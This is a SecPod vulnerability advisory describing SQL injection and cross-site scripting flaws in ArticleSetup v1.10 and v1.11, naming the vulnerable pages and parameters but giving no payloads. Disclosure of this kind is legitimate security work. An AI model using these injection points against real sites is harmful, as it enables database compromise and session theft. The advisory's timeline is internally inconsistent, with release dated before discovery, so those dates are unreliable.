SecPod ID: 1037 23/08/2011 Issue Discovered
21/02/2012 Vendor Notified
No Response from vendor
30/03/2011 Advisory Released

Class: XSS/SQL Injection Severity: High


Overview:
---------
ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.


Technical Description:
----------------------
ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.

i) Input passed via the 'userid' and 'password' parameter in
'/upload/login.php' page is not properly verified before being used in
an SQL query. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL queries.

ii) Input passed via the 'userid' and 'password' parameter in
'/upload/admin/login.php' page is not properly verified before being
used in an SQL query. This can be exploited to manipulate SQL queries
by injecting arbitrary SQL queries.

iii) Input passed via the 'cat' parameter in 'upload/feed.php' page is not
properly verified before being used in an SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL queries.

iV) Input passed via the 's' parameter in 'upload/search.php' page is not
properly verified before being used in an SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL queries.

V) Input passed via the 'id' parameter in '/upload/admin/pageedit.php',
'upload/admin/authoredit.php' and '/admin/categoryedit.php?id' pages are
not properly verified before being used in an SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL queries.

Vi) Input passed via the 's' and parameter in '/upload/search.php' page is not
properly verified before it is returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
the context of a vulnerable site.

Vii) Input passed via the 'title' and parameter in 'upload//author/submit.php'
page is not properly verified before it is returned to the user. This can
be exploited to execute arbitrary HTML and script code in a user's browser
session in the context of a vulnerable site.

Viii)Input passed via the 'title' and parameter in '/upload/admin/articlenew.php',
'/upload/admin/categories.php' and '/upload/admin/pages.php' pages are not
properly verified before it is returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
the context of a vulnerable site.

The vulnerabilities are tested in ArticleSetup v1.10 Other versions may also
be affected.


Impact:
--------
Successful exploitation could allow an attacker to execute arbitrary HTML
code in a user's browser session in the context of a vulnerable application
or to manipulate SQL queries by injecting arbitrary SQL code.


Affected Software:
------------------
ArticleSetup v1.11 and prior.

Tested on,
ArticleSetup v1.10, v1.11
